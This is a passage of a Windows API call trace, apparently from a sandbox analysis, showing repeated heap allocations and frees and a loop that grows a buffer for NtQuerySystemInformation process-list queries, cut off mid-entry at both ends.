Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d1c0 [0179.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cdb0bc0 [0179.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0179.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0179.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cdb0bc0 [0179.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0179.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1cdb0bc0 [0179.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1cdb0bc0 [0179.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d1c0 [0179.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1cdb0bc0 [0179.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1cdb0bc0 [0179.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1cdb0bc0 [0179.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1cdb0bc0 [0179.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1cdb0bc0 [0179.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d1c0 [0179.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1cdb0bc0 [0179.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9f3b0 [0179.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f3b0) returned 1 [0179.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1ce62a00 [0179.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62a00) returned 1 [0179.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1cdb0bc0 [0179.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9f3b0 [0179.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f3b0) returned 1 [0179.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ce62a00 [0179.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62a00) returned 1 [0179.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9f3b0 [0179.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f3b0) returned 1 [0179.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1cdb0bc0 [0179.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1cdb0bc0 [0179.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d1c0 [0179.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cdb0bc0 [0179.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d1c0 [0179.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cdb0bc0 [0179.655] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0179.655] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d1c0 [0179.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1cdb0bc0 [0179.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cdb0bc0 [0179.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d1c0 [0179.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cdb0bc0 [0179.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f3b0 [0179.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f3b0) returned 1 [0179.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d1c0 [0179.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cdb0bc0 [0179.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d1c0 [0179.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0179.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1cdb0bc0 [0179.663] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d1c0 [0179.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1cdb0bc0 [0179.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d1c0 [0179.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cdb0bc0 [0179.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cdb0bc0 [0179.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cdb0bc0 [0179.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cdb0bc0 [0179.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cdb0bc0 [0179.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d1c0 [0179.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cdb0bc0 [0179.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1cdb0bc0 [0179.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0179.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d1c0 [0179.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d1c0 [0179.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1cdb0bc0 [0179.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9f3b0 [0179.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f3b0) returned 1 [0179.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1cdb0bc0 [0179.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d1c0 [0179.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d1c0 [0179.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d1c0 [0179.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1cdb0bc0 [0179.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0179.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d1c0 [0179.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1cdb0bc0 [0179.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d1c0 [0179.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0179.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1cdb0bc0 [0179.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1cdb0bc0 [0179.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cdb0bc0 [0179.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cdb0bc0 [0179.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cdb0bc0 [0179.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1cdb0bc0 [0179.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0179.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0179.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d1c0 [0179.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0179.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cdb0bc0 [0179.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0179.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43034060) returned 1 [0179.689] Sleep (dwMilliseconds=0x64) [0179.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1024) returned 0x42be49e0 [0179.808] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49e0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x42be49e0, ResultLength=0x0) returned 0xc0000004 [0179.809] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49e0, Size=0x2048) returned 0x43034090 [0185.624] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43034090, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x43034090, ResultLength=0x0) returned 0xc0000004 [0185.624] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43034090, Size=0x306c) returned 0x1cf26600 [0185.625] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cf26600, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x1cf26600, ResultLength=0x0) returned 0xc0000004 [0185.625] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cf26600, Size=0x4090) returned 0x42c049b0 [0185.626] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42c049b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x42c049b0, ResultLength=0x0) returned 0xc0000004 [0185.626] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42c049b0, Size=0x50b4) returned 0x42c049b0 [0185.626] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42c049b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x42c049b0, ResultLength=0x0) returned 0xc0000004 [0185.626] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42c049b0, Size=0x60d8) returned 0x42c049b0 [0185.627] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42c049b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x42c049b0, ResultLength=0x0) returned 0xc0000004 [0185.627] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42c049b0, Size=0x70fc) returned 0x42c049b0 [0185.627] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42c049b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x42c049b0, ResultLength=0x0) returned 0xc0000004 [0185.627] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42c049b0, Size=0x8120) returned 0x42c049b0 [0185.628] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42c049b0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x42c049b0, ResultLength=0x0) returned 0xc0000004 [0185.628] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42c049b0, Size=0x9144) returned 0x42c049b0 [0185.628] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42c049b0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x42c049b0, ResultLength=0x0) returned 0xc0000004 [0185.629] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42c049b0, Size=0xa168) returned 0x42c049b0 [0185.629] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42c049b0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x42c049b0, ResultLength=0x0) returned 0xc0000004 [0185.629] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42c049b0, Size=0xb18c) returned 0x42c049b0 [0185.629] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42c049b0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x42c049b0, ResultLength=0x0) returned 0xc0000004 [0185.630] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42c049b0, Size=0xc1b0) returned 0x43074060 [0185.631] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.631] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xd1d4) returned 0x43074060 [0185.631] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.632] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xe1f8) returned 0x43074060 [0185.632] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.632] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xf21c) returned 0x43074060 [0185.633] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.633] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x10240) returned 0x43074060 [0185.633] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.634] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x11264) returned 0x43074060 [0185.634] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.634] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x12288) returned 0x43074060 [0185.635] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.635] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x132ac) returned 0x43074060 [0185.636] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.636] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x142d0) returned 0x43074060 [0185.636] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.637] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x152f4) returned 0x43074060 [0185.637] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.638] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x16318) returned 0x43074060 [0185.638] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.638] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1733c) returned 0x43074060 [0185.639] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.639] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x18360) returned 0x43074060 [0185.640] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.640] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x19384) returned 0x43074060 [0185.640] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.641] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1a3a8) returned 0x43074060 [0185.641] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.642] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1b3cc) returned 0x43074060 [0185.642] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.642] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1c3f0) returned 0x43074060 [0185.643] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.643] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1d414) returned 0x43074060 [0185.644] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.644] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1e438) returned 0x43074060 [0185.644] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.645] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1f45c) returned 0x43074060 [0185.645] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.646] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x20480) returned 0x43074060 [0185.646] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.647] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x214a4) returned 0x43074060 [0185.647] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0185.647] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x224c8) returned 0x43074060 [0185.648] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, 